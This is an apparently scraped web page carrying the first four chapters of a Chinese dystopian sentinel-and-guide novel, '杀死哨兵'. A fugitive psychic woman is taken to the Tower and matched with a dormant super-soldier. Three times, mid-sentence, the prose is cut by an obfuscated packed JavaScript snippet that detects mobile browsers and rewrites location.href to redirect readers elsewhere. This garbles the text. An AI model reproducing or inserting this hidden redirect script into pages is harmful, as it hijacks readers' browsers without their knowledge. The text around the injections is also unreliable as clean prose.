《杀死哨兵》 1. 第 1 章 紧急通知!信息来自塔台。 紧急通知!信息来自塔台。 【本年度最后一次预言将于三日后降临,地点位于北部B区某座废弃冶炼厂,进入名额有限,限制条件如下……】 【申请通道已开启,有意者请及时申请,申请通道将于十分钟之后关闭。】 这个声音太过突然,像是平地惊雷,切断人们全部思绪,世界仿佛暂停了一瞬。 很快,所有人都跑动起来,目标明确,纷纷冲向离自己最近的申请登记处。 纷杂的脚步声中,一道瘦弱苍白的身影从街角走出,比起四周惶急的人群,她的动作实在迟缓,半点也不激动,走着走着,还蹲下来系了个鞋带。 那是一个过于黯淡的年轻女性,她周身的疲惫和她的年轻体态太不相符。 大概是精力不济,哪怕耳边反复响起的是这样紧要的消息,她也毫无反应。 她沉默地走过这条街,走进最近的一间基因检测据点。 —— 姓名:丛泠 年龄:二十周岁 异能显化程度:零,无异能 …… 丛泠熟练地输入自己的个人信息,自行采集了血液、指纹、虹膜等一系列数据,余光里看见对面工作人员震惊的脸。 这工作人员是个生面孔,看他的反应,大概率是从中心城区调来的。 事实的确如此,这位工作人员上周才从最中心的北部A区调到这里,这个偏远荒凉的东部F区。 他为塔台工作了十多年,以前只在各分部的内三区(即A区、B区、C区)调动,从没见过任何一个异能显化程度为零的人类。 话又说回来,即使是在离塔台距离较远的外区,异能为零,连一丝一毫都没有……这种情况也实在是罕见。 时代变了,历经无数次天灾人祸,从前那个平静规律的世界已经彻底成为历史。 如今,脚下的这片土地充满了畸变,万事万物的运行法则都遭到颠覆,生存环境是如此恶劣,人类的异能觉醒只是一种必要的进化。 据统计,全球百分之九十五以上的人类都觉醒了异化能力,那些能力或多或少,或有用或鸡肋,但总归是有的。 哪怕少数人先天有缺陷,身体太差,无法觉醒,也会抓住一切机会去争取,比如——去到“预言降临”的区域,接受预言辐射,以此增加自身萌发异能的概率。 这种方法有一定的风险,却快捷高效,许多人都争着抢着去冒险,毕竟,再怎么样,哪怕异化过头,发生畸变……也比做一个脆弱无能的普通人类要好吧。 反正大部分人是这样想的。 此时此刻,工作人员难免忐忑不安,他盯着电子屏,把对方的各项数据反复核对,一项一项检查。 再扫一眼面前的人,灰扑扑乱糟糟,平庸而普通,的确没有一点特殊之处——有异能的人,多少也会在外貌上有突出特征。 信息采集完毕,丛泠站在一旁自行用药物止血,视线往上,看着电子屏上的时间分秒跳动。 工作人员最后复核一遍数据,顺口多问了一句,“怎么这么晚才来,你是这个城区里最后一个来做检测的人。” 一片寂静,对面的年轻女性置若罔闻,完全没有理会他。 五分钟观察时间结束,她推开门走了出去。 工作人员一愣,在一阵突如其来的困倦之中,他努力捕捉到一丝违和感。 这个人分明只是个生活在贫穷街区的普通人类,对这类人来说,强大而精密的塔台控制中心,应当是当今世界最神圣的存在。 在这个前提下,她对待塔台工作人员的态度就显得太随意、太敷衍了。 金属大门一开一合,室外的风涌了进来,工作人员再回过神,那人的身影已经拐过转角,消失不见。 他脑子里的思绪也忽然消散,就像从未有过。 * 丛泠转过几个街角,弯腰钻进一个废弃的地下站台口,再穿过一条狭长甬道,眼前骤然一亮。 灯火璀璨,热闹非凡,音乐刺耳,酒香弥漫,这是一个规模不小的地下酒馆。 她熟门熟路地钻入柜台,套上一件服务生制服,开始了今天的最后一份工作——身为一个毫无异能的普通人类,生存成本太过高昂,她每天混迹人群,毫不起眼,做各类普通而繁琐的工作。 眼前这份工作倒是很简单,替酒馆搬运货物,把各类酒水从仓库里搬出来,再把醉酒闹事的客人从店里搬出去。 凌晨两点,酒馆打烊关门,丛泠和同事一起把几个醉汉扔出门外,拍拍灰尘,合上大门,又结束了充实的一天。 酒馆安静下来,原本炫目的灯光变得柔和,空气净化器嗡嗡作响,壁炉里的火光在墙上跳动。 柜台后多了一个身材高大的美丽女性,她倚在橱柜旁,正捏着账单核对钞票,那是这家酒馆的老板,玛德琳。 玛德琳名下有好几间酒馆,收入颇丰。 她为人慷慨热情,又大方公正,最重要的一点,她调酒的水平实在是没话说,因此,在这片区域很受人尊敬。 这地方偏僻,却又多事,许多大大小小的纷争,塔台管不过来,又或者根本不想管,那都可以交给她来处理。 除此之外,她也是丛泠的养母。 丛泠左右看了看,走近了,低声喊了一句,“琳。” 玛德琳抽出一沓钱递给她,“下周的零花钱。” 丛泠接过去,勉强一笑,低声说:“今天突然接到通知,我又去做了一次基因检测。” 玛德琳手上一顿,“例行检查不是十天一次吗,怎么提前了?” 这正是丛泠感到焦躁的原因,她说:“我担心是塔台那边有什么变故。” 玛德琳看了她一眼,安抚性地笑笑,随手撕掉几张墙上的纸质日历。 “也可能是冬天快到了,异兽潮变得频繁,塔台加大了排查力度,别自己吓自己。” 丛泠心不在焉地点头,玛德琳又看她一眼,伸手轻抚她的脸庞,温柔道:“好了,回家休息吧,有异常我会立刻通知你。” “没事的,一切都和从前一样。” 丛泠今天确实是有点累了,天气越来越冷,许多人饥寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322291|167535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交迫,血液内的暴力因子又开始躁动。 今天早上,她又看到了一个人在街上发生畸变,被路过的执法人员当场处决。 远离塔台辐射的外三区,监管相对宽松,但也绝不是风平浪静。 丛泠回到家中,那是一间狭窄的平房,墙面紧靠着背后的一片山崖,窄小的建筑卡在其中,像是一个洞穴。 从远处看过去,这个住所就像这片街区一样,显露出贫穷而拥挤的气质。 当灯光点亮,室内却温馨而整洁,浅色的地毯触感柔软,窗边的风铃安静垂落,床头的墙边还挂着一颗盛放的蟹爪兰。 丛泠站在盥洗池前,和镜中的自己对视。 她擦掉脸上的一层灰,取下一层薄薄的干枯假发,最后摘下眼中的灰色镜片。 镜中人同样凝视着她,皎洁明亮的肌肤,漆黑浓郁的长发,还有一双澄澈的、碧绿色的瞳孔。 她像是海里月亮的倒影,美丽而幽冷。 异能导致的外貌特征有许多种,其中最明显,最易于辨认的,就是瞳孔的颜色与净度。 瞳孔颜色越鲜明,净度越高,异化能力越强。 在从前的很多个梦中,丛泠都希望自己拥有一双平凡的,黯淡的灰色眼睛。 临睡前,丛泠又看了看床头的纸质日历。 这个冬天一过,她和玛德琳打算搬去南方,那边离塔台辐射更远,有茂盛的雨林,还有蜿蜒的海岸线,是一个很美的地方。 凌晨三点,丛泠闭上眼睛,却又在下一刻被惊醒,她手边的通讯器正疯狂响动,是特别铃声,玛德琳打来了电话。 正常情况下,玛德琳绝不会用这种方式联络她。 丛泠接通电话,脚下动作不停,离开卧室,悄无声息贴在了门边。 玛德琳的语气很从容,只有些微微的气喘,她说:“情况不太对,我得到消息,今天的基因检测不是例行检查,而是塔台临时下发的特殊任务。” “为了安全起见,你最近不要再露面。” 丛泠从五岁开始就和玛德琳待在一起,朝夕相处,熟悉她的每一种语气,此时此刻,玛德琳的口吻是刻意的平稳,她在努力控制,不想让她感到恐慌。 丛泠也语气平静地答应下来,挂断电话。 下一刻,衣柜里的另一部通讯器接到了一则讯息,讯息来自塔台。 【东部F区编号第17704号居民,祝贺您,最新数据显示,您与某位现役哨兵的基因匹配度达到百分之五十以上,各项素质合格。】 【您将有机会获得塔台中心的终身保障,请于次日上午十点之前抵达塔台,接受后续检查。】 丛泠的后背一阵阵发冷,眼前猛然眩晕,她差点要站不稳,东倒西歪地一伸手,拽掉了床头柜子的抽屉。 一个玻璃罐子被打翻在地,零零碎碎掉出一堆东西,她坐在地上胡乱摸索,终于抓起一枚颜色暗沉的金属戒指,把它牢牢攥在手里。 丛泠拉开门,门外狂风大作,墙边的兰草被吹得晃荡起来,摇摇欲坠。 她没有再回头看一眼,奋力冲出门,飞跑出去。 2. 第 2 章 现在是冬天,如果按照正常的四季流转,现在应该是冬天。 不过,这些年来,因为频繁的自然灾害,全世界的气候都变得越来越古怪,一时高温一时极寒,也就谈不上什么固定的季节了。 今天夜里温度很低,待在车内会稍微好点,但车窗破了一个缝,时不时就有冷风灌进来。 “我不喜欢这里的风,又干燥,又粗糙。” “我想回南方去,你还记得吗,就在我们住的院子后面,波光粼粼的海岸,柔软湿润的白沙,啊,还有水里月亮的倒影。” 戒指的主人曾经这样对她说。 “顺着这条路向南走,一直走,很快就能看见碧绿的湖,一层一层的山岩,绕着山路转过去,就是金色的海浪啦。” 此时此夜,月光洒在漆黑的道路上,两侧树影摇动,映在飞速行驶的车窗。 丛泠一时找不到更好的交通工具,她从仓库里开走了一辆破破烂烂的货车。 这是平时用来给酒馆送货的,车厢里还有葡萄酒桶在翻滚,酒水淋漓,芳香四溢。 丛泠其实没有具体的目的地,只有一个大概的方向,往南走,越远越好,尽量远离塔台力量的覆盖范围。 越是混乱的世界,越是需要秩序,而塔台把握着这唯一的秩序。 越靠近塔台,人们的生活越安全,越平稳,井然有序,就像生活在很多很多前,那个正常的世界。 远离塔台则意味着脱离庇护,充满危险与动荡。 大多数人都选择安全与稳定,这是生物的本能。 至于丛泠,她没有选择的权力。 类似的“逃亡”从前也发生过,这对丛泠来说无法避免,她想要掩藏异能,伪装成一个普通人类,十天半月还好,时间一长,难免会露出破绽。 每当这时,丛泠就会紧急转移,躲到一个塔台力量辐射之外的地方,悄无声息生活一段时间,等到风平浪静,再与玛德琳在某个地方会合,让一切回归正常。 这是她们一贯的默契。 塔台的治理范围几乎覆盖所有人类群居地,无异于天罗地网,这样的“躲藏”对于普通人来说当然是很难的,幸好丛泠已经有足够的应对经验。 近些年来,人类异能五花八门,各式各样的都有,而塔台把所有异能区分为两个大类,躯体类与精神类。 其中的顶尖翘楚被塔台吸纳培养,投入军队使用,命名为“哨兵”与“向导”。 丛泠的异能属于精神类,假如归入塔台,也就是所谓的向导。 她的精神力十足强大,比较特殊,除了攻击别人的精神领域,还能短暂控制周围人的思想,影响别人对她的所见所感,制造一些真假参半的错觉。 她利用这短暂的错觉,修改别人的认知,制造时间差,躲过一次又一次的排查。 这一次也和从前一样,她需要找一个偏僻的地方躲起来,等到风波过去,线索消失,众人的记忆被新事件的覆盖,她的生活也可以恢复正常。 但是,丛泠回忆起临行前看到的那则信息,她感到了强烈的不安与恐慌。 座位猛地一震,手掌发麻,货车像是压到什么尖锐物体,车胎塌陷,车头剧烈晃动。 只能紧急刹车,吱呀一声,车窗外风声越来越大,巨大的植物叶片拍打在车顶。 丛泠跳下车,视线左前方是一个隧道口,旁边有条干涸的水沟,风里传来阵阵恶臭。 货车半天启动不了,丛泠检查了油箱,更换了轮胎,发现是引擎的问题,这台车太老旧了,常常失灵,等它缓一缓就好了。 只是,不知道为什么,她的心跳越来越快。 铃声又响了,还是玛德琳打来的电话。 丛泠站在道路边缘,脚底磨着一颗石子,等待了三十秒,接通电话,“你好。” 对面传来玛德琳的声音,一如既往的爽朗大方,是她本人的嗓音,不是什么电子合成声。 玛德琳说:“Ling,你在哪里,这么晚了别去送货,外面不安全,快回家吧。” 丛泠一瞬间无法出声,听筒两端都是一片死寂,过了一会儿,她答应道:“好的,我会尽快回来。” 玛德琳当然知道她是去干什么的,绝不会催她回家。 更何况,刚才听筒里除了玛德琳的嗓音,还另有一种规律的敲击声,那是她们之间约定的密语,玛德琳在说:“你赶快离开,走得越远越好,不用担心我。” 四下无人,隧道里一片漆黑,除了风声什么动静也没有,丛泠在原地站了一会儿,重新启动货车。 她缓慢往前行驶了一段距离,咬紧牙关,紧盯着前方,她坚持了十多分钟,最终还是手上一颤,猛地掉头,原路返回。 丛泠双手紧紧握着方向盘,太过用力,让她掌心发痛。 她憎恨塔台,从她拥有记忆开始,她就憎恨它,这股恨意伴随了她许多年,深入骨髓,已经成为她生命的一部分。 恨意在血液里奔流,在她脑子里呼啸,她早就学会了与之共存,从来没像今天这样难以遏制。 一路顺畅无阻,引擎没有再出毛病,疏淡的月光下,这俩货车只在丛泠的住处略停了几分钟,然后全速往酒馆驶去。 半小时后,丛泠回到了酒馆所在的街道,把车停在街对面。 早已打烊的酒馆又变得灯火通明,隔着橱窗,丛泠看见玛德琳倚靠在柜台边,姿态很放松,很自在,她脸上带着笑意,手边还放着一只斟满酒的玻璃杯。 看上去是一副温馨平常的图景,如果她身前的一群人手里没有架着武器就好了。 丛泠的视线停了很久,玛德琳若有所感,朝这个方向看了一眼,脸色突变。 她身边的那群武装分子自然不会放过这点异常,眼神扫视过来,很快锁定了丛泠的位置。 丛泠一步一步往前走,她依旧是那副黯淡疲惫的样子,普通,平凡,毫不起眼。 丛泠推开玻璃门,问:“玛德琳,该打烊了,店里怎么还有这么多客人?” 玛德琳来不及开口,两个身着黑色制服的高大男性就站在了丛泠身侧,一左一右,阻断了她的去路。 而丛泠对面,一个肩上系着绶带的长发女性从座椅上转过身来,视线扫过丛泠的四肢,最终落在她的眼睛,她说:“第17704号居民,你好。” 塔台的形象一贯是高贵洁净,他们的制服永远整洁笔挺,不染一丝尘埃。 这群人像是从冰天雪地里走来,严肃而凛冽。 戴着绶带的女性快步走近,和丛泠面对面,“我是克莱尔,代表塔台迎接你。” 丛泠点了点头,她似乎不知道该说些什么,只是讷讷地点头,“……好的。” 现在是凌晨四点,天色是一片深不见底的蓝,窗外一丝光也没有。 克莱尔对丛泠还算镇定的表现很满意,看了看时间,说:“你需要和亲人朋友做个告别吗,我们可以等你。” 丛泠看了一眼玛德琳,说:“不用了,现在就可以出发。” 她嘴唇动了动,眼里有些忐忑与期待,“我从来没有机会靠近塔台,不知道……那里会是什么样子。” 那当然了,她只是偏远地区的一个普通居民,别说塔台,就连内三区都从未踏足。 不过,她这种表现,已经算得上冷静克制,好过太多和她有相似经历的人,已经赢得了克莱尔的好感。 克莱尔对她展现出额外的耐心,连带对她的家属——这个酒馆老板也放宽了标准,她转向玛德琳,表示:“你可以送她一段路,在抵达F区边界前下车就好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322292|167535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 丛泠对玛德琳摇头,示意她不要跟来,玛德琳明显看见了,却没有理会,拎起裙角踩上了车。 这是一辆军用越野车,坚硬宽敞,丛泠一上车就感受到某种非实质的压迫,除了一些常规的武器,车内竟然还配有对于精神力的压制设备。 丛泠神色如常,只是伸出一只手,紧紧扶住玛德琳的胳膊。 车厢内很安静,死一般寂静,这或许是某种纪律。 不多时,克莱尔轻咳一声,她主动介绍起塔台的基本情况。 “塔台”并非具体的某个建筑物,而是全球五座塔台管理中心的统称。 其中,位于北部A区的一号塔台是全球核心,剩下的四座塔台分别位于东、西、南、中部的A区。 每个分部的A区、B区、C区被称作内三区,其余的往外延伸的区域则是外区。 而作为核心的北部有且仅有三个内区。 塔台的管理范围正在逐年扩张,外区不断延伸,内区却是框定不变的,始终占据核心位置,这份优越不必多说。 世界变化太快,除了生物过度异化带来的“异兽潮”,更大的危险是越来越频繁的自然灾害,塔台不仅能抵挡兽潮,更能很大程度地预测天灾,提前布防。 在这种情况下,塔台的重要性不言而喻,它称得上是全体人类的庇护所。 只有最富裕的家庭才能住进内三区,受到更全面的保护,而只有最尖端最优秀的人才,才有资格替塔台工作,得到终身保障。 克莱尔发自内心地感叹这个平凡女孩的幸运,她说:“从今天起,你的人生将被改写。” 丛泠低下头,露出一个微弱的微笑,显得腼腆而不安。 后视镜里有火光一闪,在夜色里格外刺眼,克莱尔有些吃惊,“怎么回事,是火灾?没有人处理吗?这里的治安真是糟糕。” 玛德琳也是一惊,这条熟悉的街道,熟悉的门户,那燃起大火的窗口,分明就是丛泠的住所。 丛泠也往回望了一眼,她似乎有些感伤,神情复杂地凝视窗外,她叹息道:“是啊,真是糟糕。” 在这个特殊的时代,只有极少数的人能接受长久的教育,其余普通而贫穷的人只接受最多五年的基础课程,在那以后,就不必再浪费公共教育资源。 在丛泠接受的有限的教育里,她很喜欢一个成语,付之一炬。 付之一炬,没有反悔的余地,也就没有退路可言。 军用车行驶速度很快,二十分钟前,玛德琳已经在F区边界下车离开,在那期间,她们并没有什么交流的机会。 窗外天色依旧蒙蒙一片,地标一晃而过,很快到了东部A区。 然而,车辆并没有减速的意思。 察觉到丛泠的疑惑,克莱尔看了她一眼,“忘记告诉你,情况特殊,你需要去一号中心塔台接受检测,我们要去的地方不是东部A区,而是北部A区。” 不知为何,明明才认识十多分钟,克莱尔对眼前这个平平无奇的女孩已经产生了足够的信赖感,她忍不住要说出更多的信息,哪怕这种做法违背工作守则。 克莱尔说道:“你与那位哨兵的基本匹配度达到了百分之七十以上,这是非常罕见的情况。” 丛泠重复一遍,“百分之七十以上?” “是的,”克莱尔点头,“这是以现有的数据得出的结果,一个宽泛的数值。” “你需要做更多的检测,得出更精准的数据。” “当然了,其实也不会有太大偏差,据记载,至今为止,匹配度最高的一对哨兵与向导,匹配度是百分之八十五,再往上的数据就太过夸张,全是伪造。” “虽然并不可能,但或许你也会创造奇迹呢。”克莱尔心情不错,开了个小小玩笑。 3. 第 3 章 那是一座黑色的塔。 高耸入云,巍峨,阴沉,像一座沉重的山。 不,丛泠恍惚地想,它更像一片海,深夜里广袤无垠的海,漩涡密布,又悄无声息。 她的呼吸停了一瞬,感到一阵眩晕。 克莱尔很宽容地笑了,耐心地站在一旁等待,这简直太正常不过,所有初次接触塔台的人,都会被它的庄严与美丽所撼动,做出种种失态举动。 片刻后,丛泠的脸色恢复了平常,这倒是让克莱尔深感意外。 克莱尔用一种挑剔而戒备的眼神重新打量眼前的人。 这只是一个稍微有点好运的贫民女孩,平庸普通,阅历贫乏,眼界浅薄,却表现得这样自持,反而显得虚伪。 好在,刚进入塔台建筑内部,几步路的功夫,丛泠频繁地失神,呼吸频率加快,手脚动作僵硬,显而易见大受震惊,克莱尔满心澎湃,骄傲地想,这样才对。 克莱尔听见她开口问:“长官,那是什么地方。” 克莱尔温和地纠正,“我不是你的上级,只是一名为塔台工作的普通职员,平时负责一些基础管理事务,你称呼我的名字就好。至于那里……” 那是一扇看上去很陈旧的金属门,颜色斑驳,门框布满锈迹,嵌在洁白的墙面里十分突兀。 “那只是一间禁闭室,不用担心,它被使用的频率很低。”克莱尔这样说,完全无视了门内传来的诡异撞击声、摔打声。 咚、咚、咚,像是有什么东西在门内挣扎、冲撞,拼尽全力想要破门而出。 丛泠移开视线,又问:“像我这样没什么能力的人……真的可以留在这里吗?” 塔台内部有一条螺旋阶梯,自下往上看,仿佛直达天际,丛泠抬起头,仰望上方阶梯旁的模糊人影。 “那不重要,你只需要通过接下来的测试,”克莱尔鼓励地看向她,“我说过了,你很幸运。” 果然,听见这句话,这个贫民女孩放下了所有不安,露出了完全无法掩饰的憧憬喜悦。 克莱尔带着丛泠走进一间又一间信息采集室,重新采集了更真实关键的基因信息,为了尽可能减少误差,同一动作不知重复了多少遍。 最终,克莱尔带着她来到一条灰色的走廊,走进其中一个空房间,指着里面的一张椅子,“等待结果需要一段时间,你留在这里休息。” 克莱尔离开了,丛泠神情一变,闭了闭眼,走进房间深处,在唯一的一对桌椅前坐下,无声地叹息。 从很久很久以前开始,她就避免走向这样的命运,结果,还是走到了这里。 她垂下眼睛,凝视自己的指尖,伸展抓握,感受其中蕴藏的力量。 她伸手拂过眼前的桌面,闻到一点热巧克力的味道。 那股甜腻的香气残留在空气中,只有一丝一缕,落在这间冰冷的房间里,有点不太协调。 丛泠忽然想起自己的小时候,她很喜欢在冬天喝一杯热巧克力,很香甜,很温暖。 不过,不知道从哪一天开始,她忽然就不喜欢了,哪怕天气再冷,她也再没有喝过。 在此时此地,闻到这久违的味道,虽然怪异,却也牵动了一点旧日的心情。 丛泠站起来,绕着这个空白的房间慢慢走了一圈,又在空气中捕捉到了更多的气味,奶油、糖浆、植物根茎、火焰、灰烬……看上去毫无关联的几种东西。 一般来说,一种气息代表着一种情形,凭借这些气息,她试着还原出上一个人在这个房间里的种种举动——吃了一份甜点,碾碎了什么东西,又烧掉了一本书? 走到门边,丛泠脚步一顿,她竟然闻到了一点血腥气,这味道鲜明又突兀,危机感十足,室内温馨柔和的气息立刻一变,变得紧绷起来。 丛泠可以捕捉到同一空间里残留的味道,有时候也能看到残留的影像,只是后者需要耗费更多精力,又没什么实际用处,她很少这样做。 不过,此时的她没有迟疑,闭上眼睛,尽力去感受,过了一会儿,她眼皮轻轻翕动,依稀看见眼前站着一道黑色的影子。 那是一个背影,一个黑漆漆的男性背影,他左手捧着一卷燃烧的书,另一只手垂下来,衣摆晃动,脚边滴答滴答,有鲜血从袖口滴落。 丛泠紧紧蹙着眉,不知道为什么,她感觉有点痛苦,她努力保持原状,牢牢盯着那个背影,等待着。 终于,那道背影动了动,脚步一转,似乎下一瞬就要扭转方向,露出真容,然而,几乎是同时,那人手里的东西掉在地上,灰烬破碎,他的影像也立刻消散。 丛泠筋疲力尽,回到座位坐下。 她的精神一向是饱满丰沛的,常常是明晰洞察的,很少感到这么乏力,如果可以,她真希望现在手边能有一杯热巧克力。 …… 隐约中,左侧方向传来了人声,声音距离她有一段距离,来自一墙之隔的另一个房间。 那是一个女孩的声音,很年轻,她问:“你也是来做匹配选拔的吗?” 丛泠默不作声,片刻后,右侧方向传来了回答,来自右边的另一个房间里,是一个更低沉的女声,她答道:“是啊,试一试总归没坏处。” 左边的说:“我也是这样想,按照以前的例子,即使最后匹配不上,塔台也会提供别的工作机会。” 右边的再接话:“对了,下一次预言降临就快到了,你应该也提交申请了吧。” “那是自然,不过……” 漫长的等待有些无聊,一左一右两个房间的人就这样交流起来。 她们都是作为向导备选人坐在这里等待的人,都感官超常,耳聪目明,虽然几堵隔音墙杵在中间,对她们却是毫无妨碍,只要她们愿意,一切波动都无处遁形。 只不过,她们谁也没有发觉这片空间里还有一个人,她们没听见一丝一毫的动静,都以为那中间隔着的只是个空房间。 一左一右两个女孩聊起这一次的“基因匹配选拔”—— 不比偏僻的外城外区,这些北部A区的居民们早就知道了更确切的消息——第十三号哨兵即将投入使用,塔台正在替他招募向导。 本次招募面向公众,以基因匹配度为选拔标准,其他方面都可以酌情放宽标准。 这消息乍一听有些古怪,哨兵向导都是需要塔台长期培训才能上任的特殊人才,从没见过临时招募的。 更何况,哨兵向导这种特殊工种,一般都是从一开始就成双成对,配合搭档,单打独斗也不是没有可能,但也是从头到尾都是独立的,不可能中途易辙,突发奇想要再找一个搭档。 不过,再仔细一看,第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322293|167535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十三号哨兵,那就不奇怪了。 第十三号哨兵曾是塔台的传说,听说他是万一挑一的天才,强大到不可思议,各项数据都超出历史上限,所有训练与实战都是百分百完美完成,从来没有一丝纰漏。 早在五年前,第十三号哨兵就已经正式启用,但仅仅过了十天,塔台又将其召回,封存起来。 再强大的人也会有弱点,珍贵的少数群体更是如此,长久生活在塔台的哨兵很难适应外界环境,执行任务时精神负荷过大,往往需要同伴的协助与疏导。 对于普通哨兵来说当然是这样,但,最强哨兵又怎能同日而语,他当然更强大,更坚韧,更无法动摇,所有人都是这样认为的。 然而,生物本能无法违抗,所有人都会被孤独打倒,塔台最强的第十三号哨兵,也是一样。 在险些酿成重大事故之后,塔台将第十三号哨兵紧急召回,从那以后就开始培训与其相匹配的向导。 五年过去了,毫无成效,外界又发生了天翻地覆的变化,人类的生存环境越来越糟糕。 时间分秒流逝,塔台终于放弃了从内部培养,开始面向公众招募。 这些隐情倒是不曾对外公布,北部A区居民们所知道的信息也就只有那最关键的一点——最强大的第十三号哨兵,正在寻找属于他的向导。 丛泠安静听着,她对这些信息没什么兴趣,但一直待在这里,无事可做,确实太无聊了。 又过了不知多久,从走廊另一端传来一阵整齐重叠的脚步声,大概是一整支队伍。 左右隔壁两个人也听见了声音,都不再开口,一片寂静中,那串脚步声停了。 门外响起敲门声,片刻后,克莱尔轻轻推开了房门。 克莱尔去而复返,人还是那个人,却像是性情大变,她眼里带着狂热,激动难耐,却又努力克制,对丛泠的态度也变得十足尊重,她低下头,说道:“请……请您跟我来。” 与此同时,隔壁的几道房门也都打开了,士兵们一板一眼地告知门内的人,初步筛选结束,你们可以离开了。 丛泠走出门,在走廊里和几个年纪相仿的候选者打了个照面,察觉到他们诧异的目光,随即和他们走向截然不同的方向。 丛泠离开了这条走廊,背后的目光如有实质,一直跟随着她。 丛泠对这个结果并不意外,但当它真正发生时,她还是有点难以接受,她从来不做白日梦,但有一瞬间希望一切都只是做梦。 她没有故意拖延,只是躯体好像有自己的意志,难以前行,不自觉地就停下脚步。 没过多久,一列士兵站在了她的身后,武器与衣料摩擦出声响,默默催促。 丛泠不想成为什么向导,她不想成为什么荣耀、希望、英雄,她对那些事情都不感兴趣,对拯救世界这种宽泛而宏大的目标也缺乏热情。 她能力有限,精力也有限,背负不了那么庞大的责任,她只想保护好自己的小世界,她想和自己的家人待在一起,多一天也好。 克莱尔带着她一层层往上走,距离地面越来越远,似乎来到了塔台的顶端。 丛泠回头看了一眼,她扶住栏杆,一阵风撩动她的衣角。 这里真的太高了,脚下的旋转楼梯虚化成漩涡,大厅里的人群也变成了细密的虫潮。 4. 第 4 章 克莱尔停在了一道门前。 丛泠也收回目光。 眼前是一个银色的房间,门框很高,整面墙像一个柜门,顶部显示着室内的实时温度,始终在零下十度波动。 这里像一个巨大的冰室,开门的一刹那,呼吸都要冻结成冰。 克莱尔递给丛泠一套恒温服,让她穿上,以免失温,这套衣服笨重沉重,束手束脚,套在身上,稍微大幅度的动作都做不了。 比起保温的工具,这套衣服更像是一副枷锁,让任何人在靠近这片区域的时候,都毫无破坏力。 既然这样谨慎了,丛泠也做好了被克莱尔寸步不离监视着的准备,没想到克莱尔退后几步,远远停在门槛边,不动了。 丛泠只好自己往房间深处走去,可能是温度太低的缘故,空气中结了一层厚厚的水雾,视野里一片模糊。 走了大概七八米,丛泠终于看到了墙边的一个人影。 说是人影并不准确,等眼睛适应了昏暗的光线,丛泠才看清,那是一个嵌在墙里的矩形容器,容器里面又严丝合缝嵌着一个黑漆漆的影子,勉强能看得出是个人形。 丛泠停下来,没有再往前走,她等了许久,眼前的影子都没有动静,甚至没有呼吸的起伏,她开始怀疑那里究竟是不是一个活人。 眼前一片死寂,身后的克莱尔也一动不动,不过,丛泠察觉到了身后传来的焦躁情绪。 克莱尔似乎期待着一种更戏剧化的表现——传说中不都是那样吗,匹配度高的哨兵与向导,天生契合的命运同共体,一举一动都有感应,一旦相遇就是干柴烈火,汹涌澎湃。 事实上,到现在为止,并没有谁明确地告诉丛泠,眼前的人影就是那个哨兵,但,她隐约有了点奇怪的感知,如果真有这么一个人,那应该就是他。 丛泠察觉到自己的呼吸频率快了不少,后背升起一股刺麻,这是一种被动的反应,她感觉很不适,仿佛空气中有什么东西,轻而易举拨动她的情绪。 丛泠的感受不太好,但她压制下了所有表现,因此,在克莱尔的眼中,她没有任何异常,哨兵也毫无反应,这个房间内没有任何波动。 克莱尔开始怀疑起基因检测的结果,她转身离开,越走越远,走出了这层楼。 没过多久,克莱尔重新出现在门边,大概是接到了上级的指示,她也换上了一套恒温服,走到了丛泠的身边。 “你往前走五米,在墙沿半米高的位置,有一个黑色按钮,把它按下去。”克莱尔命令道,她的声音又恢复了一开始的冷淡。 明明是如此紧张的时刻,丛泠却有些想笑。 她面无表情地低下头,走过去,这个距离,展开手臂就能碰到墙边的人影了,她垂下眼睛,找到了那个黑色按钮,伸出手去。 就在这时,她听见克莱尔的呼吸停滞了一瞬。 于是,丛泠的手又移开了,她转过头,担忧地问:“按下去会发生什么事?我们会有危险吗?” 克莱尔的神情很紧绷,此时又浮现怒意,她不耐烦道:“这和你无关,你只需要按我的指令去做,听懂了吗。” 丛泠再度低下头,很局促的样子,她这样手足无措,自然也就没有行动。 克莱尔深呼吸片刻,耐着性子道:“不会有危险,按下那个按钮只是解除哨兵的休眠模式,他会更快苏醒,但行动依旧被束缚,他无法离开休眠仓。” 丛泠认真看了克莱尔一眼,动作不紧不慢,终于是把手放在了按钮上,按了下去。 克莱尔本来就站在距离丛泠五六米的位置,但这一瞬间,她又飞快往后退了好几步。 丛泠已经彻底走进白雾里,空气湿润粘稠,这茫茫一片白色中,那道黑色的人影格外醒目。 咔哒一声,很近的地方传来了齿轮咬合的声音。 丛泠的心脏猛地收缩,她呼吸急促,额头渗出冷汗。 黑暗里,一个人睁开了眼睛。 * 